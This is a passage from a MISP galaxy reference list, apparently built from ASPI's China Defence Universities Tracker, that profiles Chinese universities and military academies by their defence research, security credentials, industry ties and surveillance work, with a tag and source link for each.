Hangzhou Normal University is a Chinese university subordinate to the Zhejiang Provincial Government. The university was initially established in 1978 as Hangzhou Normal College (□□□□□□) to focus on teacher training, art education as well as research in the humanities and natural sciences. Hangzhou Normal University retains this broad academic focus and oversees faculties such as the Alibaba Business School (□□□□□□□).Hangzhou Normal University collaborates with China’s MPS on the development of surveillance technology. In March 2019, the university entered into an agreement with the Zhejiang Police College, the Zhejiang Public Security Office, and Hikvision—China’s leading producer of video surveillance technology—to establish a joint laboratory. The joint laboratory reportedly focuses on applying big data analysis, cloud computing and internet of things technology to improve China’s policing capability.

The tag is: *misp-galaxy:china-defence-universities="Hangzhou Normal University (□□□□□□)"*

Table 766. Table References

Links
https://unitracker.aspi.org.au/universities/hangzhou-normal-university

Harbin Engineering University (□□□□□□□□)

HEU is one of China’s top defence research universities. The university is a leading centre of research and training on shipbuilding, naval armaments, maritime technology and nuclear power. 36.46% of the university’s 2017 graduates who found employment were working in the defence sector.As one of the group of universities subordinate to the Ministry of Industry and Information

Technology (MIIT) known as the ‘Seven Sons of National Defence’ (□□□□), HEU is an integral part of China’s defence industry. HEU’s achievements include producing China’s first experimental submarine, ship-based computer, and hovercraft. The university claims to have participated in most of the PLA Navy’s submarine, undersea weapon, and warship projects.HIT’s role in the defence industry is highlighted by its formal affiliation with the PLA Navy, which became a supervising agency of the university in 2007. Under the supervisory agreement, the PLA Navy committed to developing HEU’s capacity as a platform for research and development in military technology and for training defence personnel. The following year, HEU established a Defence Education Institute to train reserve officers. Since then, the institute has trained at least 1,700 officers. HEU also maintains a joint laboratory with the PLA Navy Coatings Analysis and Detection Center.HEU is an important hub research on nuclear engineering, including on nuclear submarines. In 2018, it signed a co-construction agreement with defence conglomerate China National Nuclear Corporation (CNNC). In 2019, HEU and CNNC established the China Nuclear Industry Safety and Simulation Technology Research Institute. HEU also runs a joint laboratory on energetic materials (such as explosives) with the Chinese Academy of Engineering Physics, China’s nuclear warhead research organisation.

The tag is: *misp-galaxy:china-defence-universities="Harbin Engineering University (□□□□□□□)"*

Table 767. Table References

Links
https://unitracker.aspi.org.au/universities/harbin-engineering-university

Harbin Institute of Technology (□□□□□□□)

HIT is one of China’s top defence research universities. As one of seven universities run by MIIT, it is known as one of the ‘Seven Sons of National Defence’ (□□□□). The Seven Sons of National Defence all have close relationships with the Chinese military and are core training and research facilities for China’s defence industry. In 2018, HIT spent RMB1.97 billion (AUD400 million)—more than half of its research budget—on defence research. 29.96% of the university’s graduates that year who found employment were working in the defence sector.HIT has been described by Chinese state media as having ‘defence technology innovation and weapons and armaments modernisation as its core’. It excels in satellite technology, robotics, advanced materials and manufacturing technology, and information technology. Other areas of defence research at HIT include nuclear technology, nuclear combustion, nuclear power engineering and electronic propulsion and thruster technology, many of which are officially designated as skill shortage areas for the Chinese defence industry.HIT is best known for its aerospace research and has a close relationship with China Aerospace Science and Technology Corporation (CASC), a state-owned defence company that specialises in long-range ballistic missile and satellite technology. Since 2008, HIT and CASC have operated a joint research centre. Defence conglomerates CASC, CASIC, AVIC and CETC rank among the top employers of HIT graduates. The university is a major source of cyber talent and receives funding for information security research from the MSS, China’s civilian intelligence agency. A report prepared for the US–China Security and Economic Review Commission identified it as one of four universities focused on research with applications in information warfare. In 2003, HIT founded its Information Countermeasures Technology Research Institute (□□□□□□□□□□□□□□□□).

The tag is: *misp-galaxy:china-defence-universities="Harbin Institute of Technology (□□□□□□□)"*

Table 768. Table References

Links
https://unitracker.aspi.org.au/universities/harbin-institute-of-technology

Harbin University of Science and Technology (□□□□□□□)

HRBUST focuses on engineering, science, economics, management, philosophy, literature, law and education. In 2015, it was placed under the joint supervision of the Heilongjiang Provincial Government and SASTIND, which is an arrangement designed to develop the university’s involvement in defence-related research and training.HRBUST’s relationship with SASTIND indicates that it will continue expanding its role in defence research. Currently, the university has at least four designated national defense disciplines and plans to build a national defense key laboratory. It holds secret-level security credentials.

The tag is: *misp-galaxy:china-defence-universities="Harbin University of Science and Technology (□□□□□□□)"*

Table 769. Table References

Links
https://unitracker.aspi.org.au/universities/harbin-university-of-science-and-technology

Hebei University (□□□□)

Hebei University is Hebei Province’s only comprehensive university. The university subordinate to the Ministry of Education and also supervised by the Hebei Provincial Government and defence industry agency SASTIND. Its supervision by SASTIND, which began in 2013, is designed to support the university in ‘strengthening its national defence characteristics’.HBU appears to be relatively secretive about its defence research. In 2017, SASTIND designated an area of research at the university’s College of Physics Science and Technology as a ‘discipline with defence characteristics’. An article about this on the university’s news site has been taken down and deliberately did not specify the discipline. However, a speech given by the head of the college named military-use power and energy as HBU’s only defence discipline. The university holds secret-level security credentials, allowing it to participate in classified defence technology projects.In 2017, HBU held a forum on military-civil fusion for technology and innovation to ‘uncover the university’s potential for defence-industry technological research’ and encourage greater integration with defence companies.

The tag is: *misp-galaxy:china-defence-universities="Hebei University (□□□□)"*

Table 770. Table References

Links
https://unitracker.aspi.org.au/universities/hebei-university

Hebei University of Science and Technology (□□□□□□)

HEBUST engages in moderate but growing levels of defence research. It has been supervised by defence industry agency SASTIND since 2013, when SASTIND and the Hebei Provincial Government agreed to jointly develop the university’s involvement in defence research. By 2017, the university claimed to have completed 300 defence projects. The university holds secret-level security credentials, allowing it to participate in classified defence technology projects.While the university does not appear to have any dedicated defence laboratories, it has described five of its laboratories as platforms for defence research. Areas of materials science, mechanical engineering and control science at HEBUST have been designated ‘disciplines with national defence charcteristics’ by SASTIND. HEBUST may also be pursuing greater integration between China’s defence needs and the university’s research on textiles engineering and biological fermentation.HEBUST states that is has developed close cooperation with China Electronics Technology Group Corporation’s 54th Research Institute, an organization blacklisted by the US Government Entity List. Defence industry conglomerate Aviation Industry Corporation of China also funds research at the university.

The tag is: *misp-galaxy:china-defence-universities="Hebei University of Science and Technology (□□□□□□)"*

Table 771. Table References

Links
https://unitracker.aspi.org.au/universities/hebei-university-of-science-and-technology

Hefei University of Technology (□□□□□□)

HFUT a leading Chinese university subordinate to the Ministry of Education. It specialises in engineering and engages in growing levels of defence research, particularly in the fields of advanced materials, smart manufacturing and electronic information. As of 2018, HFUT was the only civilian university in Anhui Province fully certified to carry out military projects, holding secret-level security credentials, and had undertaken over 200 such projects.In 2018, the university came under a ‘joint-construction’ agreement between the Ministry of Education and defence industry agency SASTIND. According to HFUT, this agreement ‘will powerfully advance the university’s development of national defence disciplines, training of talent for defence industry, and construction of defence industry and national defence research platforms.’Miao Wei, head of the Ministry of Industry and Information Technology, which oversees China’s defence industry, is a graduate of HFUT.

The tag is: *misp-galaxy:china-defence-universities="Hefei University of Technology (□□□□□□)"*

Table 772. Table References

Links
https://unitracker.aspi.org.au/universities/hefei-university-of-technology

Heilongjiang Institute of Technology (□□□□□□□)

HLJIT is an engineering-focused university that engages in growing levels of defence research. In

2015, the Heilongjiang Provincial Government partnered with defence industry agency SASTIND to expand the university's ability to 'show its national defence characteristics and serve the national defence science and technology industry.'SASTIND has designated military-use power and energy, optoelectronics and laser technology, and computing as three 'disciplines with national defence characteristics' at HLJIT. In June 2016, HLJIT and ZTE jointly launched an MOE-ZTE ICT Product-Teaching Integration Innovation Base (□□□-□□□□ICT□□□□□□□□) and established the Heilongjiang School of Engineering-ZTE Information and Communications Technology College (□□□□□□□-□□□□□□□□□□□). ZTE has been reportedly barred from US government contracts.As it increases its implementation of military-civil fusion, HLJIT has developed relationships with defence conglomerates. The university is particularly close to China Aerospace Science and Technology Corporation (CASC), a leading state-owned manufacturer of long-range missiles and satellites. In 2017, HLJIT partnered with a subsidiary of CASC to establish a joint research centre, the Aerospace Smart City Research Institute. The subsidiary, Aerospace Shenzhou Smart System Technology Co., Ltd. (□□□□□□□□□□□□□□), specialises in smart city and informatization technology.HLJIT holds confidential-level security credentials, allowing it to participate in confidential defence technology projects.

The tag is: *misp-galaxy:china-defence-universities="Heilongjiang Institute of Technology (□□□□□□□)"*

Table 773. Table References

Links
https://unitracker.aspi.org.au/universities/heilongjiang-institute-of-technology

Heilongjiang University (□□□□□)

HLJU is supervised by the Ministry of Education, the Heilongjiang Provincial Government and SASTIND. SASTIND's supervision of the university is designed to promote its integration with China's defence technology goals. In 2016, the year after HLJU came under SASTIND's supervision, the university received third-class security credentials and funding for a national defence technology research project for the first time. Third-class security credentials allow the university to participate in confidential defence research projects. By 2018, HLJU claimed to have received RMB13 million (AUD2.7 million) in defence research funding.HLJU has close ties with Russian universities and is best known for its work in the Chemistry, Chemical Engineering and Materials Department, which entered the top 1 percent of ESI's global rankings.

The tag is: *misp-galaxy:china-defence-universities="Heilongjiang University (□□□□□)"*

Table 774. Table References

Links
https://unitracker.aspi.org.au/universities/heilongjiang-university

Henan University of Science and Technology (□□□□□□)

HAUST is Henan province's leading civilian university for defence research. In 2008, it became the first university in the province to receive security credentials allowing it to participate in classified weapons projects. In 2016, it became the province's only university subject to a 'joint-construction' agreement with defence industry agency SASTIND, an arrangement designed to increase HAUST's involvement in defence research. As early as 2009, the university stated that it had made great contributions to the defence and aviation industries, undertaking large amounts of defence research projects.HAUST describes itself as China’s primary university for research and training for the mechanical bearings (such as ball bearings) industry. SASTIND has designated three areas of research at the university as ‘disciplines with defence characteristics’, covering systems engineering, materials science and mechanics. The university is actively involved in military-civil fusion activities.The university claims to have made important contributions to the development of bearings for aircraft engines, satellites, and spacecraft. It states that it has resolved critical technological problems for specific weapons guidance systems, ballistic missile testing systems and an infrared targeting and interference emulation system that are probably used to test guided missiles.

The tag is: *misp-galaxy:china-defence-universities="Henan University of Science and Technology (□□□□□□□)"*

Table 775. Table References

Links
https://unitracker.aspi.org.au/universities/henan-university-of-science-and-technology

Huazhong University of Science and Technology (□□□□□□□)

HUST is one of China’s leading research institutions. While the university is subordinate to the Ministry of Education, it has also been supervised by the State Administration of Science, Technology and Industry for National Defense since 2012.The university hosts at least six laboratories dedicated to defence research. Its National Defence Research Institute reportedly oversees defence research in seven other HUST research centres. Artificial intelligence, shipbuilding, image processing, navigation technology, mechanical engineering, electronics, materials science and laser physics are focuses of HUST’s defence research.HUST has worked closely with the PLA and China’s defence industry. This collaboration includes the development artificial intelligence and imaging technology for weapons. The university’s work on pulsed power is linked to China’s nuclear and directed-energy weapons program. China’s state-owned defence conglomerates and China’s nuclear warhead facility sponsor dozens of HUST postgraduate students each year, who are required to work at their sponsoring organisation for at least five years after graduating.HUST holds secret-level security credentials, allowing it participate in research and production for classified weapons and defence projects.

The tag is: *misp-galaxy:china-defence-universities="Huazhong University of Science and Technology (□□□□□□□)"*

Table 776. Table References

Links
https://unitracker.aspi.org.au/universities/huazhong-university-of-science-and-technology

Hunan University (□□□□)

HNU is a leading Chinese university subordinate to the Ministry of Education. In recent years, its participation in defence research appears to have grown substantially. In 2010, it established the National Supercomputer Center in Changsha jointly with the PLA National University of Defense Technology, which has since been placed on the US Government Entity List for its suspected role in nuclear weapons research.In 2011, China's defence industry agency, SASTIND, entered a partnership with the MOE to expand the university's participation in defence research and defence industry ties. This arrangement was renewed in 2016. In 2013, SASTIND and the Hunan Provincial Government also signed an agreement to jointly support the development of the university's National Supercomputer Center.HNU holds secret-level security credentials, enabling it to participate in research and production for weapons and other defence projects.

The tag is: *misp-galaxy:china-defence-universities="Hunan University (□□□□)"*

Table 777. Table References

Links
https://unitracker.aspi.org.au/universities/hunan-university

Hunan University of Science and Technology (□□□□□□)

HNUST is an engineering-focused university founded in 2003. In 2016, it was subject to a 'joint-construction' agreement between the Hunan Provincial Government and defence industry agency SASTIND, an arrangement designed to develop the university's involvement in defense-related research and training. The university has three designated defence research areas, is involved in weapons research, and has confidential-level security credentials.HNUST is home to two national defence key laboratories, one of which is in the School of Materials Science and Engineering. The university has also established its Intelligent Manufacturing Institute, which evolved from a provincial key laboratory and has connections to the Made in China 2025 strategy.HNUST is also linked to state-owned arms manufacturer Norinco Group. In 2018, it signed a strategic cooperation agreement with arms manufacturer Norinco's National Defence Key Laboratory on Light Weapons Terminal Lethality Technology (□□□□□□□□□□□□□□□□□ aka □□□□□□□□□□□□□□□).

The tag is: *misp-galaxy:china-defence-universities="Hunan University of Science and Technology (□□□□□□)"*

Table 778. Table References

Links
https://unitracker.aspi.org.au/universities/hunan-university-of-science-and-technology

Information Engineering University (□□□□□□□□□□□□□)

IEU was formed in June 2017, combining the old Information Engineering University with the PLA Foreign Languages University. PLA experts have described IEU as 'the sole military academy for the cyber and electronic warfare arms of China's network-electronic forces'.The IEU is currently subordinate to the PLA Strategic Support Force's Network Systems Department, which holds the military’s signals intelligence capabilities. Previously, the university was run by the General Staff Department Third Department (commonly known as 3PLA), the PLA’s signals intelligence service that has been incorporated into the Strategic Support Force. IEU’s command tracks include Network Engineering (□□□□), which is dedicated to the cultivation of cyber attack and defense technical cadre (□□□□□□□□). It is responsible for the construction of the Henan Provincial Laboratory of Visible Light Communication (□□□□□□□□□□□□□).The university is primarily known for research and training on hacking, cryptography, signals processing, surveying and mapping, and navigation technology. However, since absorbing the PLA Foreign Languages University, it now serves as one of the most important language schools for Chinese military intelligence officers, describing itself as a ‘whole-military foreign languages training base for individuals going abroad’. While the PLA Foreign Languages University is best known for training signals intelligence officers, it has also trained many officers in the PLA’s political warfare wing, the Central Military Commission Political Work Department Liaison Bureau.

The tag is: *misp-galaxy:china-defence-universities="Information Engineering University (□□□□□□□□□□□□□)"*

Table 779. Table References

Links
https://unitracker.aspi.org.au/universities/information-engineering-university-2

Institute of NBC Defense (□□□□□□)

The Institute of NBC Defense is the PLA’s premier institution devoted to training junior, mid-career and senior officers on technology related to defence against nuclear, biological and chemical weapons. Most scientific research tends to focus on radiation protection and nuclear safety.

The tag is: *misp-galaxy:china-defence-universities="Institute of NBC Defense (□□□□□□)"*

Table 780. Table References

Links
https://unitracker.aspi.org.au/universities/institute-of-nbc-defense

Jiangnan Social University (□□□□□□)

JSU trains intelligence officers in tradecraft and carries out research on intelligence and security. The university first opened in 1986 with over 600 students and staff. Since 1999, it has run the Journal of Jiangnan Social University, which publishes research on international security, strategy and politics. Satellite and streetview imagery from Google Maps and Baidu appears to show a shooting range at the southern end of its campus.

The tag is: *misp-galaxy:china-defence-universities="Jiangnan Social University (□□□□□□)"*

Table 781. Table References

Links

https://unitracker.aspi.org.au/universities/jiangnan-social-university

Jiangsu University of Science and Technology (□□□□□□)

JUST engages in high levels of defence research. With a focus on research relevant to the PLA Navy, JUST is supervised by the China State Shipbuilding Corporation and the China Shipbuilding Industry Corporation, China’s leading defence shipbuilding conglomerates. In 2002, JUST was one of eight universities jointly supervised by defence industry agency COSTIND and a provincial government. In 2016, its was the subject of an agreement between the Jiangsu Provincial Government and defence industry agency SASTIND to expand its role in defence research.JUST scientists have been involved in nuclear submarine, unmanned submersible and aircraft carrier projects. The university holds secret-level security credentials, allowing it to participate in classified defence technology projects.Faculties at the university involved in defence research include the School of Naval Architecture and Ocean Engineering and the School of Energy and Propulsion.

The tag is: *misp-galaxy:china-defence-universities="Jiangsu University of Science and Technology (□□□□□□)"*

Table 782. Table References

Links
https://unitracker.aspi.org.au/universities/jiangsu

Jilin University (□□□□)

JLU is directly under the administration of the Ministry of Education and came under the joint supervision of the ministry and defence industry agency SASTIND in 2016. In 2017, SASTIND designated eight fields of research at JLU as national defence disciplines, indicating the university carries out high levels of defence research. In 2012, JLU spent roughly RMB60 million (AUD12.5 million) on defence research, a number that is likely to have grown substantially.JLU’s National Defense Science and Technology Research Institute, also known as the Advanced Technology Research Institute, was established in April 2006 and is responsible for the organization and management of the university’s national defence science and technology projects. The research institute has received several certifications to conduct research for military applications. It conducts research in collaboration with the former PLA General Armaments Department, SASTIND, and state-owned defence conglomerates in the fields of aviation, aerospace, electronics, nuclear technology, and shipbuilding.JLU’s State Key Laboratory of Superhard Materials (□□□□□□□□□□□) works closely with China’s nuclear weapons complex, the Chinese Academy of Engineering Physics (CAEP). Job advertisements for a CAEP subsidiary, the Center for High Pressure Science & Technology Advanced Research (□□□□□□□□□□) state that it has a branch within Jilin University. This suggests that CAEP may even be involved in managing the State Key Laboratory of Superhard Materials.The university hosts at least two defence research labs, located in the university’s College of Computer Science and Technology and in the College of Chemistry. Its Key Laboratory of Attack and Defense Simulation Technology for Naval Warfare, Ministry of Education (□□□□□□□□□□□□□□□□□□□□B□□) is involved in cybersecurity research for the Navy. The lab’s academic committee is headed by a computer scientist from China Aerospace Science and Technology Corporation, a leading state-owned missile manufacturer.JLU holds secret-level security credentials, allowing it to participate in research and production for classified weapons and defence technology projects.

The tag is: *misp-galaxy:china-defence-universities="Jilin University (□□□□)"*

Table 783. Table References

Links
https://unitracker.aspi.org.au/universities/jilin-university

Kunming University of Science and Technology (□□□□□□□)

Kunming University of Science and Technology appears to engage in low levels of defence research, but its involvement in defence research is likely to grow. In 2017, Kunming University of Science and Technology signed an agreement with Yunnan's defence technology bureau to deepen military-civil fusion. In 2018, the Yunnan Provincial Government and defence industry agency SASTIND signed an agreement to jointly construct KMUST. The agreement is designed to increase the university's involvement in defence research.KMUST carries out high levels of research on metallurgy. It is involved in defence research related to China's aviation industry, and collaborates with defence shipbuilding conglomerate CSIC on vibration and noise research.

The tag is: *misp-galaxy:china-defence-universities="Kunming University of Science and Technology (□□□□□□□)"*

Table 784. Table References

Links
https://unitracker.aspi.org.au/universities/kunming-university-of-science-and-technology

Lanzhou University (□□□□)

LZU's involvement in defence research has slowly grown over the past decade. In 2018, it spent over RMB50 million (AUD10 million) on defence projects.LZU is subordinate to the Ministry of Education. Since 2018, it has also been supervised by defence industry agency SASTIND in an arrangement designed to further expand the university's defence research and the defence industry relationships.LZU carries out national defence-related research in areas such as nuclear science, electromagnetism, probes, chemistry, mechanics, materials science, stealth technology and information technology.In 2017 and 2018, LZU signed strategic agreements with state-owned defence companies Norinco Group, China's largest arms manufacturer, and China National Nuclear Corporation. Several defence companies, as well as China's nuclear weapons program, provide scholarships for dozens of LZU postgraduate students each year. In return, these students must work for their sponsoring organisation for five years after graduation.In 2005, LZU received secret-level security credentials that allow it to participate in classified weapons projects.

The tag is: *misp-galaxy:china-defence-universities="Lanzhou University (□□□□)"*

Table 785. Table References

Links
https://unitracker.aspi.org.au/universities/lanzhou-university

Lanzhou University of Technology (□□□□□□)

Lanzhou University of Technology (□□□□□□)

The tag is: *misp-galaxy:china-defence-universities="Lanzhou University of Technology (□□□□□□)"*

Table 786. Table References

Links
https://unitracker.aspi.org.au/universities/lanzhou-university-of-technology

Logistics University of the People’s Armed Police Force (□□□□□□□□□□□□□□)

The Logistics University of the People’s Armed Police Force is an institution devoted to training personnel in logistics for China’s paramilitary service, the People’s Armed Police. The university teaches subjects in applied economics, military logistics studies, paramilitary logistics, applied psychology, as well as communications and transportation engineering.The Logistics University of the People’s Armed Police Force actively collaborates with private institutions and civilian universities on scientific research. For example, the university collaborated with Nankai University (□□□□) and the Tianjin Eminent Electric Cell Material Company (□□□□□□□□□□□□□) on high performance lithium and sodium ion materials in 2018. The university also collaborated with the Tianjin Polytechnic University (□□□□□□) on intelligence, wearable technology that monitors heart rates for both military and civilian personnel.

The tag is: *misp-galaxy:china-defence-universities="Logistics University of the People’s Armed Police Force (□□□□□□□□□□□□□□)"*

Table 787. Table References

Links
https://unitracker.aspi.org.au/universities/logistics-university-of-the-peoples-armed-police-force

Nanchang Hangkong University (□□□□□□)

NCHU engages in high levels of defence research relevant to the aviation industry. In 2017, the Ministry of Education designated it a ‘school with national defence education characteristics’, and 30% of graduates go to work in the defence industry or civilian aviation companies. The university has been supervised by defence industry agency SASTIND since 2010. It holds secret-level security credentials.Five fields of research at NCHU are designated ‘national defence key disciplines’: precision forming and joining technology, component quality testing and control, testing and measurement technology and instruments, optoelectric and laser technology, and military-use critical materials. The university hosts at least three laboratories focused on defence research.NCHU is particularly close to AVIC, the Chinese military’s aircraft manufacturing company. In particular, AVIC subsidiary Hongdu Aviation Industry Group (□□□□□□□□) is based in Nanchang and has frequent exchanges with NCHU.

The tag is: *misp-galaxy:china-defence-universities="Nanchang Hangkong University (□□□□□□)"*

Table 788. Table References

Links
https://unitracker.aspi.org.au/universities/nanchang-hangkong-university

Nanchang University (□□□□)

NCU engages in low levels of defence research. It holds secret-level security credentials, allowing it to carry out classified defence research. In 2006, it established a defence research institute together with five provincial defence industry companies. Based on affiliated staff members, the institute may be focused on mechanical engineering.The university was added to the US Government Unverified List in 2018. Entities are added the Unverified List if the US Government is unable to satisfactorily carry out end-user checks on them to ensure compliance with export licenses.

The tag is: *misp-galaxy:china-defence-universities="Nanchang University (□□□□)"*

Table 789. Table References

Links
https://unitracker.aspi.org.au/universities/nanchang-university

Nanjing Army Command College (□□□□□□□□□)

The Nanjing Army Command College is an institute devoted to training mid-career staff officers in preparation for command the PLA Ground Force. Disciplines of focus for the college include joint campaign tactics, warfighting command, military training and combat simulations.

The tag is: *misp-galaxy:china-defence-universities="Nanjing Army Command College (□□□□□□□□□)"*

Table 790. Table References

Links
https://unitracker.aspi.org.au/universities/nanjing-army-command-college

Nanjing Institute of Information Technology (□□□□□□□□□□)

Nanjing Institute of Information Technology (□□□□□□□□□□)

The tag is: *misp-galaxy:china-defence-universities="Nanjing Institute of Information Technology (□□□□□□□□□□)"*

Table 791. Table References

Links
https://unitracker.aspi.org.au/universities/nanjing-institute-of-information-technology

Nanjing Normal University (□□□□□□)

Nanjing Normal University is a leading Chinese university supervised by the Ministry of Education and Jiangsu Provincial Government. The university has strengths in geospatial technology, big data and artificial intelligence.Nanjing Normal University has close ties to the Ministry of Public Security. In 2014, the university established the Ministry of Public Security Key Laboratory for Police Geospatial Information Technology (□□□□□□□□□□□□□□□□), which researches applications of geospatial information technology for policing purposes. Nanjing Normal University has also entered into an agreement with the Nanjing Municipal Public Security Bureau, establishing the ‘Video GIS Technology Laboratory’ (□□GIS□□□□□) in April 2012.Nanjing Normal University has a close relationship with the regional government in Xinjiang, where over 1 million Uyghurs and Kazakhs are currently held in internment camps. In 2015, the university entered into an agreement with the Xinjiang Uyghur Autonomous Government and the Jiangsu Municipal Government to support the development of Yili Normal University.

The tag is: *misp-galaxy:china-defence-universities="Nanjing Normal University (□□□□□□)"*

Table 792. Table References

Links
https://unitracker.aspi.org.au/universities/nanjing-normal-university

Nanjing Tech University (□□□□□□)

In 2016, NJTech came under the joint supervision of the Jiangsu Provincial Government and defence industry agency SASTIND, which is an arrangement designed to develop the university’s involvement in defense-related research and training. The university has four designated defence research areas and secret-level security credentials, allowing it to undertake classified defence technology projects.NJTech is expanding its defence research on materials science, chemistry, optical engineering and systems engineering. In 2018, the university established a Military-Civil Fusion Development Research Institute to deepen its implementation of military-civil fusion. NJTech has a Defence Industry Science Office (□□□□□□□) within its Depart of Scientific of Research. This office is responsible for the university’s defence-related research and coordination. NJTTech’s School of Materials Science and Engineering (□□□□□□□□□) has previously worked on defence-related projects.The university has international ties with universities in England that focus on electronics and semiconductors. It has also established a joint research center with Russian universities for advanced technology R&D.

The tag is: *misp-galaxy:china-defence-universities="Nanjing Tech University (□□□□□□)"*

Table 793. Table References

Links

https://unitracker.aspi.org.au/universities/nanjing-tech-university

Nanjing University (□□□□)

NJU is subordinate to the MOE and has also been supervised by defence industry agency SASTIND since 2012. In 2016, the university was selected as a participant in the first batch of national dual-use demonstration bases, and a year later in 2017 was selected as a Class A world-class university. NJU is home to at least two defence laboratories and has committed to deepening its involvement in military-civilian fusion. As the first university in China to establish a State Secrecy Academy, in 2009, Nanjing University is involved in cyber security research.In 2018, NJU established an Institute of Artificial Intelligence and reported its research progress to the Jiangsu Provincial Committee of Military-Civilian Fusion when they visited the university. Following the visit, the provincial committee expressed interest in deepening cooperation on MCF projects in order to promote Jiangsu’s MCF work. The Institute of AI also co-built a research center with Intel, the Intel-Nanjing University Artificial Intelligence Research Center, which is Intel’s first research center focusing on AI in China. The university’s rapidly developing AI Institute provides an opportunity for deepening its involvement in MCF R&D. In May 2018, NJU signed a strategic cooperation agreement with Megvii □□□□. Megvii has been blacklisted by the US government over human rights abuses.

The tag is: *misp-galaxy:china-defence-universities="Nanjing University (□□□□)"*

Table 794. Table References

Links
https://unitracker.aspi.org.au/universities/nanjing-university

Nanjing University of Aeronautics and Astronautics (□□□□□□□□)

NUAA is one of the ‘Seven Sons of National Defence’ subordinate to the Ministry of Industry and Information Technology. NUAA specialises in aerospace research and works closely with the Chinese military as well as civilian and military aviation companies, including military aircraft manufacturers AVIC and AECC. 21% of the university’s graduates in 2018 who found employment were working in the defence sector.The university claims to have participated in nearly all major national aviation projects, including the development of the Chang’e 3 unmanned lunar explorer. NUAA hosts China’s only national defence laboratory for helicopter technology.NUAA has attracted controversy for its alleged involvement in the Ministry of State Security’s efforts to steal US aviation technology.

The tag is: *misp-galaxy:china-defence-universities="Nanjing University of Aeronautics and Astronautics (□□□□□□□□)"*

Table 795. Table References

Links
https://unitracker.aspi.org.au/universities/nanjing-university-of-aeronautics-and-astronautics

Nanjing University of Posts and Telecommunications (□□□□□□)

NJUPT was initially ‘one of the earliest institutions devoted to training communications personnel for the Chinese Communist Party and red army’. Since then, NJUPT has evolved from a training college to a civilian university that offers undergraduate, post-graduate and doctoral degrees in various communications and engineering disciplines.NJUPT holds secret-level security credentials, allowing it to participate in classified defence research projects.Key areas of research include at the university:

The tag is: *misp-galaxy:china-defence-universities="Nanjing University of Posts and Telecommunications (□□□□□□)"*

Table 796. Table References

Links
https://unitracker.aspi.org.au/universities/nanjing-university-of-posts-and-telecommunications

Nanjing University of Science and Technology (□□□□□□)

NJUST is one of the ‘Seven Sons of National Defence’ administered by the Ministry of Industry and Information Technology. Together with Beijing Institute of Technology, it was ranked as China’s top university for armaments science in 2017. Roughly 16% of the university’s graduates in 2018 who found employment were working in the defence sector.NJUST is a member of the B8 Cooperation Innovation Alliance (B8□□□□□□ or □□□□□□□□□□), a group of eight Chinese research institutions specialising in weapons science—the ‘B’ in ‘B8’ stands for Chinese word for armaments, bingqi (□□). Indicative of the university’s high level of involvement in defence research, in 2013 a disused laboratory on its campus exploded, killing one, after workers disturbed a cache of explosives.NJUST has a collaborative relationship with a PLA signals intelligence research institute, involving cooperation on unmanned combat platforms and information security.

The tag is: *misp-galaxy:china-defence-universities="Nanjing University of Science and Technology (□□□□□□)"*

Table 797. Table References

Links
https://unitracker.aspi.org.au/universities/nanjing-university-of-science-and-technology

National Defense University (□□□□□□□□□□□)

NDU is the PLA’s ‘premier’ institution for training in military theory, strategy, operations and political work, which can have its history traced back to the era of Mao Zedong’s peasant-led red army in 1927.The university is devoted to training the PLA’s officer corps in preparation for senior leadership positions. Given this focus on the softer skills of PLA administration, the National Defense University does not have as strong a focus on hard science as its counterpart, the National University of Defense Technology.

The tag is: *misp-galaxy:china-defence-universities="National Defense University (□□□□□□□□□□□□)"*

Table 798. Table References

Links
https://unitracker.aspi.org.au/universities/national-defense-university

National University of Defense Technology (□□□□□□□□□□□□□)

In 2017, NUDT was reformed and placed in charge of the Institute of International Relations in Nanjing, the National Defense Information Institute in Wuhan, the Xi’an Communications College, the Electrical Engineering Institute in Hefei, and the College of Meteorology and Oceanography in Nanjing. The Institute of International Relations in Nanjing is a key training centre for intelligence officers.NUDT is known for its research on supercomputers, autonomous vehicles, hypersonic missiles and China’s Beidou Navigation Satellite System. The university developed the Tianhe-2A supercomputer at the National Supercomputing Center in Guangzhou, the world’s fastest supercomputer from 2013 to 2016. NUDT’s Tianhe-1A supercomputer is based at Hunan University’s National Supercomputing Center Changsha (□□□□□□□□□□).For over a decade, NUDT has aggressively leveraged overseas expertise and resources to build its capabilities. The Australian Strategic Policy Institute’s International Cyber Policy Centre’s October 2018 report ‘Picking flowers, making honey: The Chinese military’s collaboration with foreign universities’ documented and analysed NUDT’s overseas presence. The report found that by 2013 the university had sent over 1,600 of its professors and students to study and work abroad. Universities in the United States, the United Kingdom, Australia, Canada, Singapore, the Netherlands and Germany engage in some of the highest levels of collaboration with NUDT. Some of NUDT’s leading experts on drone swarms, hypersonic missiles, supercomputers, radars, navigation and quantum physics have been sent to study or work abroad.Defected Chinese spy Wang Liqiang claimed in 2019 that NUDT’s ‘Intelligence Center’ sent him fake passports for his mission to interfere in Taiwanese politics. This indicates that the university plays an important role in supporting China’s overseas intelligence activity.NUDT also works with foreign technology companies. Google and Microsoft have both worked with and trained NUDT scientists.

The tag is: *misp-galaxy:china-defence-universities="National University of Defense Technology (□□□□□□□□□□□□□)"*

Table 799. Table References

Links
https://unitracker.aspi.org.au/universities/national-university-of-defense-technology

Naval Command College (□□□□□□□□□□□□□)

The Naval Command College is an institution that provides education and training for naval officers in a variety of disciplines such as military thought, strategic studies, intelligence training and political work along with military operations, tactics and campaigns. The college plays a crucial role in improving the quality of PLA Navy personnel, as well as providing combined arms training for mid-career political commissars, logistics officers and equipment officers. The college serves to improve strategic and tactical thinking in the PLA Navy by hosting the Naval Campaigns and Tactics Center Laboratory (□□□□□□□□□□□) and producing research that looks at operationalising new training and command systems. It is the PLA-N's last remaining command academic institution.

The tag is: *misp-galaxy:china-defence-universities="Naval Command College (□□□□□□□□□□□□□□)"*

Table 800. Table References

Links
https://unitracker.aspi.org.au/universities/naval-command-college

Naval Petty Officer Academy (□□□□□□□□□□□□□□)

The academy has three main departments focused on training, campus affairs and political work. It has published research on radar jamming.

The tag is: *misp-galaxy:china-defence-universities="Naval Petty Officer Academy (□□□□□□□□□□□□□□)"*

Table 801. Table References

Links
https://unitracker.aspi.org.au/universities/naval-petty-officer-academy

Naval Research Academy (□□□□□□□□□□□□□)

